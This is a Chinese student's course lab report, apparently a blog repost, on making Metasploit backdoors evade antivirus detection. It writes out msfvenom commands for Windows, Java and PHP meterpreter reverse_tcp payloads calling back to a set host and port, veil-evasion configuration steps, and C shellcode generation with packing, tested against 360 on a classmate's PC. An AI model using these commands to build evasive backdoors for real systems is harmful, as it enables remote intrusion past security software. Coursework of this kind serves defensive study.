• 2018-2019-2 网络对抗技术 20165115 Exp3 免杀原理与实践


    2018-2019-2 网络对抗技术 20165115 Exp3 免杀原理与实践



    1.免杀原理及基础问题回答

    1、杀软是如何检测出恶意代码的?

    • 通过对特征码进行检测的方式,对恶意软件的行文进行检测。

    2、免杀是做什么?

    • 通过修改恶意程序(病毒、木马)的内容改变特征码从而避免杀毒软件的查杀。

    3、免杀的基本方法有哪些?

    • 针对杀毒软件的三种基本检测方法,我们可以通过下面几种方法来实现免杀:

      1. 改变特征码
      2. 改变软件行为
      3. 其它方法

    2.实验内容

    2.1 任务一

    正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    (1)、正确使用msf文件,生成exe文件

    • 这里使用virustotal对实验二中生成的msf后门文件进行扫描。扫描结果如下:

    可以看出,不做任何处理的后门程序可以轻易地被大多数杀软检测到。下面我们使用msf编码器对后门程序进行多次的重新编码,并对编码后的文件进行检测。

    • 重新编码需要使用命令:
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.132 LPORT=5115 -f exe > 5115encoded10.exe

    • 将重新编码的文件上传到VirusTotal进行扫描的结果如下:

    • 可见,单纯地重新编码对于免杀并没有太大的效果。我认为原因主要有:

      • exe中总是会出现需要进行解码的部分,杀软只需要检测这一部分的代码就可以了;
      • 我们是使用msfvenom生成的可执行文件,这就导致了这些文件带有msf的固定模板。由于msf的知名度,各大厂商肯定针对其各种模板进行过特征码的分析。所以成效不大。

    (2)、使用msf生成jar文件

    • 生成Java后门程序需要使用命令:

      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115backdoor_java.jar

    • 生成PHP后门程序使用的命令是:

      msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 x> 20165115_backdoor.php

    -生成文件如下图所示:

    (3)、使用veil-evasion生成后门程序并进行检测

    • 首先sudo apt-get update更新一下

    • 然后就是进行安装了sudo apt-get install veil-evasion

    • 完成之后输入veil命令打开veil,确认进行下一步的安装,直到安装结束。其中,在安装wine的时候应该会有一堆乱码的安装指导,就一路回车敲过来就完事了。

    • 然后再进入veil界面。如果上一步的安装有没有完成的或者是失败了,你还是会看到那个提醒安装的提示。还是Y键同意,重新安装一遍就行了。如果成功的话应该会进入导航界面

    • 输入use evasion进入evasion

    • 输入use c/meterpreter/rev_tcp.py进入配置界面

    • 设置反弹IP,注意此处应该是kali的IPset LHOST 192.168.1.132

    • 设置端口set LPORT 5115

    • 使用命令generate生成文件,输入文件名即可。文件保存路径会显示在指令当中。

    • 对生成的文件进行扫描结果如下:

    (4)、半手工注入shellcode

    • 首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=5115 -f c
      即使用C语言生成一段shellcode代码

    • 使用vim 5115shellcode.c创建工程文件。这个地方的文件,当我使用博客中普遍使用的加一段代码编译后,在win7虚拟机测试的过程中,开启杀软会被当作木马查杀。但是当我关掉所有的杀软和防火墙后,却不能实现回连。emmmm??不知道发生了什么的我去同学的电脑上做了一下尝试,结果还是失败了。该同学觉得有问题又自己尝试了一下,嗯,他也失败了(@课代表lty同学)。那么,问题出在什么地方呢?只能认为是这个生成c代码的过程有问题。于是我们尝试了另外一种生成c代码的方法。步骤与成功与否会在后面的回连中提到。

    • 两种加壳操作。

    • 因为这个加壳操作的时候我还对上面那个问题没有解决方法,所以这两个截图中的加壳文件的回连还是失败的。

    另外,关于杀软,不得不提什么杀软都是弟弟,WindowsDefender是最NB的。当初为了避免国产的流氓杀软拖累我这个垃圾电脑的速度,我的电脑中一直只使用WD。但这一次,无论我使用什么方法,只要把生成的文件从kali中拖出来绝对瞬间报毒拒绝使用等待处理一气呵成。下图就是为了做测试允许通过的文件数量。并且我也特别留意了一下vt和vs的反馈,基本上Windows都对我做的东西报毒了。嗯,可以说是这个实验最大的收获之一了。

    扯远了,回来

    2.2 任务二

    通过组合应用各种技术实现恶意代码免杀

    • 上面也提到过了,基于我出现的问题,采取新的方法进行编程,半手工制作shellcode,虽然添加壳后被发现的概率大了一些,但是在360等国产杀软的环境中做完测试还是绰绰有余的.所以就采取了这两种方法进行免杀。任务成功截图如下:(放的是360扫描日志)

    补一个未加壳的文件进行扫描的结果截图,可以看到加壳在某些情况下反而更容易被发现:

    2.3 任务三

    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    感谢刘天野同学贡献自己的一台电脑给我做测试。IP地址和文件名是因为在新的网络环境里面做的测试,所以可能会和上文中有出入。对方电脑环境为win10,360全家桶(好狠)。

    3. 距离实战还缺少什么技术或步骤

    • 上文也提到过,瞒过杀软一小段时间还是可以做到的。但是在360的环境下运行一小段时间,大概有个三五分钟的样子,基本上就报错gg了。所以说我们掌握的技术还仅仅是个皮毛,要想真正做出可以瞒过杀软很久、功能强大的恶意软件还需要不断地提升知识水平;

    • 另一方面就是恶意程序的传播。这一点上我觉得自己的实战能力为0。现在我使用的方式基本及时:“我给你传个病毒你帮我接收一下做个测试。”嗯,很真实。所以说对于恶意软件的伪装和传播方面还要下很大的功夫。

    4. 实验中遇到的问题及解决方法

    • 一个大问题上文提到过,解决方法也有提及。就不说这个了。

    • 小问题一大堆,总之都解决了。对了,实验过程中virustotal还崩溃过一次。emmmm,行吧。问题不大。所以上面会有一个测试使用viruscan做的。

    5. 实践总结与体会

    • 首先就是,WindowsDefender niupi !

    • 然后就是,虽然技术和手段都在不断地发展进步,但只要掌握了原理,还是可以通过最原始的方式做出一些东西的。不过不能因为有一点成就就沾沾自喜,还是要扎扎实实的不断学习。

  • 相关阅读:
    PyTorch深度学习:60分钟入门(Translation)
    强化学习入门·
    leetcode 697. Degree of an Array
    耶路撒冷圣城起源笔记
    仓储机器人路径规划笔记
    算术编码原理
    ★房贷计算器 APP
    Sublime
    CocoaPods
    Xcode 6 创建 Objective-C category
  • 原文地址:https://www.cnblogs.com/zcy20165115/p/10631680.html
Copyright © 2020-2023  润新知